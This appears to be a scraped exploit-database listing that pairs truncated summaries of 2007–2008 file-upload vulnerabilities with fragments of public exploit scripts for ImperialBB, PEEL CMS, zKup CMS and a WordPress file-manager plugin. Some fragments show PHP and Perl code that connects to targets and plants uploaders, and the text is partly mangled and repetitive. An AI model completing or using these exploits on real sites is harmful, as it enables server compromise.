CVE-2008-2805

Mozilla Firefox before 2.0.0.15 and SeaMonkey before 1.1.10 allow remote attackers to force the upload of arbitrary local files from a client computer via vectors involving originalTarget and DOM Range...

ImperialBB 2.3.5 - Arbitrary File Upload

ImperialBB 2.3.5 - Arbitrary File Upload Title : ImperialBB :\r\n\n"; $code = trimfgetsSTDIN; $socket = @fsockopen$argv1, 80, $eno, $estr, 30...

ImperialBB 2.3.5 - Arbitrary File Upload

Title : ImperialBB :\r\n\n"; $code = trimfgetsSTDIN; $socket = @fsockopen$argv1, 80, $eno, $estr, 30; if!$socket die"Could not connect to ".$argv1."...

Firefox arbitrary file disclosure

Mozilla Firefox before 2.0.0.15 and SeaMonkey before 1.1.10 allow remote attackers to force the upload of arbitrary local files from a client computer via vectors involving originalTarget and DOM Range...

Page Manager CMS Remote Arbitrary File Upload Vulnerability

No description provided by source. ================================================================ Page Manager CMS Remote Arbitrary File Upload Vulnerability ================================================================ ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. C...

lecms-upload.txt

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "\nEnter Local File Path To Uploadie: C:\file.txt: "; chompmy $file=; my $ext = substr $file, rindex $file, '.'; my $fname = int rand 9999; my $ua = LWP::UserAgent-new agent = 'Mozilla/4.0...

CVE-2008-1866

admin/modifconfig.php in Blog Pixel Motion aka PixelMotion does not require admin authentication, which allows remote authenticated users to upload arbitrary PHP scripts in a ZIP archive, which is written to templateZip/ and then automatically extracted under templates/ for execution via a direct...

PEEL CMS Admin Hash Extraction and Remote Upload Exploit

No description provided by source. !/usr/bin/php ?php /---------------------------------------------------------------\ Exploit: PEEL CMS Admin Hash Extraction and Remote Upload Credits: Charles "real" F. charlesfolathotmail.fr URL: http://realn.free.fr/ Date: 03-18-08 Targets: PEEL PREMIUM PEEL...

PEEL CMS Admin Hash Extraction and Remote Upload

!/usr/bin/php ?php /--------------------------------------------------------------- Exploit: PEEL CMS Admin Hash Extraction and Remote Upload Credits: Charles "real" F. charlesfolathotmail.fr URL: http://realn.free.fr/ Date: 03-18-08 Targets: PEEL PREMIUM PEEL POWERSELL PEEL INTEGRALE PEEL...

PEEL CMS 3.x - Admin Hash Extraction Arbitrary File Upload

PEEL CMS 3.x - Admin Hash Extraction Arbitrary File Upload !/usr/bin/php URL: http://realn.free.fr/ Date: 03-18-08 Targets: PEEL PREMIUM PEEL POWERSELL PEEL INTEGRALE PEEL PROFESSIONNELLE This exploit will use multiple vulns of multiple versions of PEEL to try to spawn a Remote Upload File. Speci...

PEEL CMS Admin Hash Extraction and Remote Upload Exploit

Exploit for unknown platform in category web applications ======================================================== PEEL CMS Admin Hash Extraction and Remote Upload Exploit ======================================================== !/usr/bin/php ^',...

PEEL CMS 3.x - Admin Hash Extraction / Arbitrary File Upload

!/usr/bin/php URL: http://realn.free.fr/ Date: 03-18-08 Targets: PEEL PREMIUM PEEL POWERSELL PEEL INTEGRALE PEEL PROFESSIONNELLE This exploit will use multiple vulns of multiple versions of PEEL to try to spawn a Remote Upload File. Special thanks to: ddx39...

peelcms-upload.txt

!/usr/bin/php URL: http://realn.free.fr/ Date: 03-18-08 Targets: PEEL PREMIUM PEEL POWERSELL PEEL INTEGRALE PEEL PROFESSIONNELLE This exploit will use multiple vulns of multiple versions of PEEL to try to spawn a Remote Upload File. Special thanks to: ddx39...

CVE-2008-1117

Directory traversal vulnerability in the Notes aka Flash Notes or instant messages feature in tb2ftp.dll in Timbuktu Pro 8.6.5 for Windows, and possibly 8.7 for Mac OS X, allows remote attackers to upload files to arbitrary locations via a destination filename with a \ backslash character followe...

zKup CMS 2.0 <= 2.3 Remote Upload Exploit

No description provided by source. !/usr/bin/php ?php / Name: zKup CMS v2.0 = v2.3 0-day exploit upload Credits: Charles "real" F. charlesfolathotmail.fr Date: 03-08-2008 Conditions: PHP Version This exploit spawn a php uploader in your victim's server. Okay, you may need explanations: First, we...

zKup CMS 2.0 <= 2.3 Remote Upload Exploit

Exploit for unknown platform in category web applications ========================================= zKup CMS 2.0 \n\n"; if$argc\n eg: php zkup2uploadexploit.php http://127.0.0.1/votresite/";exit-1; $url = $argv1; $code = ' ifisset$POST'upload' if !moveuploadedfile$FILES'file''tmpname',...

Wordpress Plugin Wp-FileManager 1.2 Remote Upload Vulnerability

No description provided by source. AUTHOR : H-T TeaM HouSSaMix ToXiC350 HOME : http://no-hack.net Script : Wordpress Plugin Wp-FileManager Download : http://downloads.wordpress.org/plugin/wp-filemanager.1.2.zip...

Wordpress Plugin Wp-FileManager 1.2 Remote Upload Vulnerability

Exploit for unknown platform in category web applications =============================================================== Wordpress Plugin Wp-FileManager 1.2 Remote Upload Vulnerability =============================================================== AUTHOR : H-T TeaM HouSSaMix ToXiC350 Script :...

CVE-2007-5738

The FlashUpload component in Korean GHBoard uses a client-side protection mechanism to prevent uploading of dangerous file extensions, which allows remote attackers to bypass restrictions and upload arbitrary files via a modified copy of component/flashupload/upload.html...

Safari for windows remote arbitry file upload

Product: Safari browser for windows Tested on: Last version 3.0.3 Download url :http://www.apple.com/safari/ Demo url: http://images.apple.com/movies/us/apple/safari/2007/wwdc/apple-safari672x416.mov Bug: Remote arbitry file upload Impact: Critical Fix Available: No...